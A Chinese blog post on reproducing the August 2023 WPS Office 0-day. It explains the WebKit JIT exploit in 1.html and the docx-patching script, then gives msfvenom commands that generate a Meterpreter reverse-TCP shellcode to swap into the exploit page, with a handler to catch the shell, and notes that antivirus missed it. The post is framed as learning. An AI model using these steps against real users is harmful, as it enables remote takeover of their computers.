WPS-0DAY-20230809的分析和利用复现
WPS-0DAY-20230809的分析和初步复现
- 一、漏洞学习
-
- 1、本地复现
-
- 环境
- 过程
- 2、代码解析
-
- 1.html
- exp.py
- 3、通过修改shellcode拿shell
-
- 曲折的学习
- msf生成sc
- 二、疑点
-
- 1、问题
- 2、我的测试
-
- 测试方法
- 测试结果
一、漏洞学习
强调：以下内容仅供学习和测试，一切行为均在本地进行。利用本文复现该漏洞后切勿从事侵权或违反《网络安全法》的行为，若造成任何后果，本人概不负责。
针对网上传的版本和github上公开的版本（提前备份一下，两个版本的zip和复现成功的虚拟机已经整合至下载板块的“WPS-0DAY-20230809”——审核结果将在2-10个工作日完成上传）进行了复现，并实现了getshell的操作，由于是第一次接触shellcode略显生疏，各位大佬多多包涵。这里分享一下自己的学习经过，也希望大佬能解答一下文末的疑点。
1、本地复现
B站上也有其他大佬本地复现的视频，可以自行搜索观看。
环境
Windows 10 企业版2H22、wps12300、phpstudy8.1.1.3（其他：火绒最新版、winrar）
（我镜像里面那个idea的安装包没啥用，纯粹是复现某个java的cms用的，这个快照也没安装，emmm，winrar自己下一个吧，我就懒得再打包一个快照了。皮一下很开心~）
过程
小皮起个本地网站，将1.html放进去，开启apache2即可
修改hosts文件，重启网站（可以直接下载我整理的资料，到文档里复制，如果自己手中有资源或者愿意打字，当我没说）。
双击poc.docx并打开
本地复现成功。
2、代码解析
这里因为学识有限找个AI读了一下。
1.html
当分析这个代码段时，我们可以看到它实际上在利用一个 WebKit（浏览器引擎）中的漏洞，来实现对浏览器内存的非法访问和控制。以下是代码的主要漏洞利用部分的分析：
Memory Corruption:
在代码中的 foo 函数中，利用了一个 JIT (Just-In-Time) 编译器的漏洞，通过触发对函数的 JIT 编译，创建了一些特定的数据结构，这些结构在内存中存储了相互关联的函数和对象。但由于编译器的缺陷，这些结构可能被损坏，导致后续访问时产生内存错误。
Out-of-Bounds Access:
在代码中的 addrof 和 fakeobj 函数中，利用了一个越界访问漏洞，通过操纵数组的边界条件，可以读写数组之外的内存。具体来说，通过修改数组的长度和元素，可以实现越界读取和写入操作。
Arbitrary Read/Write:
通过越界访问，可以读写到特定内存位置，甚至可以读写到具有敏感权限的内存区域。这允许了对一些内存结构进行读写，从而绕过浏览器的内存保护机制。
WebAssembly and Shellcode Execution:
通过创建 WebAssembly 模块，并将其中的 shellcode（一段具有特定功能的二进制代码）写入内存，代码实现了对内存区域的写入，即将 shellcode 写入浏览器内存。之后，通过调用 WebAssembly 实例中的函数，实际上在浏览器中执行了 shellcode。
Exploitation:
总的来说，代码通过越界访问和内存错误，成功地修改了浏览器内存中的数据结构，并实现了对内存的非法读写。通过写入 shellcode 并执行它，代码最终实现了对浏览器中的操作系统层面的控制。
需要注意的是，这是一个非常复杂的漏洞利用，利用了多个不同的漏洞点，包括 JIT 编译器的缺陷、越界访问等。此类漏洞利用在现代浏览器中是极其罕见的，浏览器供应商通常会及时修复这些问题以保护用户的安全。然而，这也强调了编写安全的 JavaScript 代码以及保持浏览器更新的重要性。
exp.py
这段代码是一个 Python 脚本，主要用于修改 Microsoft Word 文档中的链接。它使用了 lxml 库来解析和处理 XML 数据，以及 zipfile 库来操作 Office Open XML (OOXML) 格式的 Word 文档（.docx 文件）。
replace_url_in_docx函数：打开指定的 .docx 文件，查找并替换其中的 URL。
具体步骤如下：
打开 .docx 文件，使用 “a” 模式，表示追加模式。
在 zip 压缩文件中查找 webExtension1.xml 文件的路径。
如果找不到 webExtension1.xml 文件，输出错误信息并关闭文件。
读取 webExtension1.xml 文件的内容。
解析 XML 内容，得到根元素。
使用特定的命名空间查找 标签，并替换其中的 URL。
将修改后的 XML 内容写回压缩文件。
关闭压缩文件。
其他的都代码没什么，解析这段代码主要就是为了复现这个“poc.docx”，但是并没有制造出这个poc.docx，具体的测试会在最后的疑点中阐述。
3、通过修改shellcode拿shell
曲折的学习
不得不感慨，还好身边有些懂行的大佬，不然复现shellcode的思路都没有，必须感谢一下“.”和“PMR”（昵称）的指导。
这里主要吐槽一下我对shellcode的第一映像，大佬们可以当个笑话乐一下。
1.html中有这样一段shellcode，套了下AI的话，它告诉我这是x86的机器码，十六进制ASCII解码后里面有个“calc”，就是倒数第五个到倒数第二个。
我想着那就解密一下呗（现在看起来当时自己是真的蠢），但是存在函数无法识别的字符，那就写个脚本一一对应的替换一下呗。
结果接长这样，emmmm，替换calc为charmap再加密试试？然后不出意外的失败了。
üè‚NULNULNUL`‰å1Àd‹P0‹RFF‹RDC4‹r(SI·J&1ÿ¬msf生成sc
好了，下面就是成功的结果了，kali终端执行一下就可以得到和网传的版本一模一样的结果了。
msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num
然后要拿shell就用最常规的payload，同样设置-f为num就可以了。
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.1.1.181 LPORT=9999 EXITFUNC=thread -f num
接着muti/hander监听一下，把生成的shellcode那道nodepad++里面删除一下“\r\n”复制并覆盖1.html的const shellcode里就行了。
最后双击poc.docx（因为懒，没有在kali启80搭1.html，如果你想要严谨一点自己在kali配置就可以了），拿到shell。
哦，对了，再白一句，火绒没检测出来。
二、疑点
1、问题
直接说我的疑惑：image到底是什么，为什么它会影响漏洞的复现？
2、我的测试
测试方法
winrar直接打开poc.docx，进行对照实验。
测试结果
（不是很了解wps的文件结构，以下结论对于大佬来说可能不算什么结果）
1xlsx文件（poc.docx\word\embeddings\Workbook1.xlsx）删了倒是无所谓poc还可以正常执行，而且正常生成的docx没有该文档。
2执行exp.py修改“poc.docx\word\webExtensions\webExtension1.xml”之前需要通过wps的加载项，加载一个xml——这个poc.docx的构建黑客一定操作了这一步，因为正常生成的docx文件没有webExtensions目录。
3windows过期（或者未激活状态）复现失败。
本对照实验仅为一次简单的测试，可能存在未考虑的因素，这里分享另外两位大佬的测试流程。
https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg
https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA
本人测试结果与其存在差异或存在错误，均为能力所困，实属正常（本测试结果仅供参考）。